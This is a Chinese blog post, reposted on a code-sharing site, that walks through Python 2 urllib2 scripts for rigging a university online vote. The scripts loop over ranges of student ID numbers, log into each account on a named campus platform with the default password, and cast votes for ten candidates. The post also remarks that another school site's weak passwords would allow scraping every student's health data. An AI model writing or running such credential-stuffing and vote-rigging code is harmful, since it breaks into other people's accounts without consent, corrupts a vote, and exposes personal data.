码迷,mamicode.com
首页 > 其他好文 > 详细

学会用脚本来刷刷票

时间:2016-04-29 19:48:45      阅读:357      评论:0      收藏:0      [点我收藏+]

标签:

今天一同学找到我问我会不会写刷票的软件,因为这个投票活动有别的学院的人用脚本刷票了

我想,天哪,我们计算机学院都还没用脚本呢都被外院抢先了= =

所以研究研究动手写一下

还是老方法,登陆一下抓下包就搞定了- -登陆账号是学号,密码默认值好多好多人都没有改。(所以你用个脚本登陆这个平台抓个人信息也是能抓一些的,我看了看倒没什么敏感信息。ps:之前学校体测网站,默认密码并不是身份证后六位,而是用户名和密码一样,你要是有心去爬,全校所有人的身高体重等信息都能抓下来)

这个post方法就是我们要找的了,返回的状态码还是302重定位的呢- -当然你要是登不上去就是200

技术分享

技术分享

果不其然又是明文啊,但是最后的__hash__是哪来的,还得费一番功夫找一找。

我一开始以为是在网页的源代码里面用某种hash函数生成的。所以就直接搜hash,但是并没有找到,我就懵逼了(这里是个大坑,最后再讲,我是写完了代码之后又去研究了研究才知道问题出在哪),然后百度了半天没有所以然,正当我一筹莫展的时候同学说有个大神给他写过一个py代码了,就是他运行着有点问题= =我说那感情好你直接给我看看

一看倒挺好,人家params里面都没有写这个,那就先不管了。

看了看发现人家代码直接就能跑= =(当时我在想要我有什么用),不过连判断有没有登陆成功以及票是否投过了的判断都没有,只是写了post的代码,所以就帮忙加点东西上去好了= =

我之前用过requests,但是这个库要另外安装,发给别人用别人装起来也麻烦,大腿正好拿的urllib2写的,我正好学习学习。

先从另一篇文章引用过来一些讲解,http://www.cnblogs.com/sysu-blackbear/p/3629770.html

然后写个用POST方法来访问网站的方式(用urllib2模拟一起post过程):

#! /usr/bin/env python
#coding=utf-8

import urllib2
import urllib
import cookielib

def login():
    email = raw_input("请输入用户名:")
    pwd = raw_input("请输入密码:")
    data={"email":email,"password":pwd}  #登陆用户名和密码
    post_data=urllib.urlencode(data)   #将post消息化成可以让服务器编码的方式
    cj=cookielib.CookieJar()   #获取cookiejar实例
    opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    #自己设置User-Agent(可用于伪造获取,防止某些网站防ip注入)
    headers ={"User-agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
    website = raw_input('请输入网址:')
    req=urllib2.Request(website,post_data,headers)
    content=opener.open(req)
    print content.read()    #linux下没有gbk编码,只有utf-8编码

if __name__ == '__main__':
    login()
对比着大腿先写好的代码一看,就明了了:

import urllib2
import cookielib

pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]

for sno in range(8153200, 8153400):
	# create cookie
	cookieJar = cookielib.CookieJar()
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))

	# login
	params = 'school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0' + str(sno) + '&password=xxxxxx&login=%E7%99%BB+%E5%BD%95'
	req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin", params)
	page = opener.open(req)

	for id in pid:
		# vote
		params = 'id=160367&pid=%d' % id 
		req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote", params)
		page = opener.open(req)
		
	print sno
新学到了好多知识哟,下次我也能用urllib2写了。

不过还是放一下怎么找到投票的地方吧,虽然大腿写过了不过我也去验证了一下。

技术分享

这个就是投票的post了

下面的pid就是候选人的代码,打开有候选人的网页直接看html源码就能找到这个pid

技术分享

投一票成功了就是这样

技术分享

所以我做的也就是写点判断语句,首先是能否登陆成功,再看票是不是投过了,没投过就投一下就行了- -

附上代码,

# coding=utf-8

import urllib2
import cookielib
import re

pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]#候选人的ID

sum0=0#成功投票的人数

def Vote():
	for id in pid:
		# vote
		params = 'id=160367&pid=%d' % id 
		req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote", params)
		page = opener.open(req)
		

for sno in range(8143131, 8143200):
	print sno
	# create cookie
	cookieJar = cookielib.CookieJar()
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))

	# login
	params = 'school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0' + str(sno) + '&password=111111&login=%E7%99%BB+%E5%BD%95'
	req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin", params)
	page = opener.open(req)
	m=re.search(r'中国矿业大学大学生实践成长服务平台',page.read())#判断能否登陆成功
	if m:
		print '登陆成功'
	else:
		print '登录失败'
	
	req=urllib2.Request('http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=index&id=160367')
	page=opener.open(req)
	m1=re.search(r'票已投完',page.read())#判断是不是可以投票
	if m1:
		print '该账号已投票'
	else:
		Vote()
		print '投票成功'
		sum0+=1
print "成功投票%d人"%sum0
	
运行效果技术分享

再给你们讲一下神坑,因为抓包的时候打开页面以后我就把之前的都清理了。后来不清了,发现当你打开页面的时候

神特么放在这里,真是有病

技术分享

学会用脚本来刷刷票

标签:

原文地址:http://blog.csdn.net/sinat_18497785/article/details/51226625

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!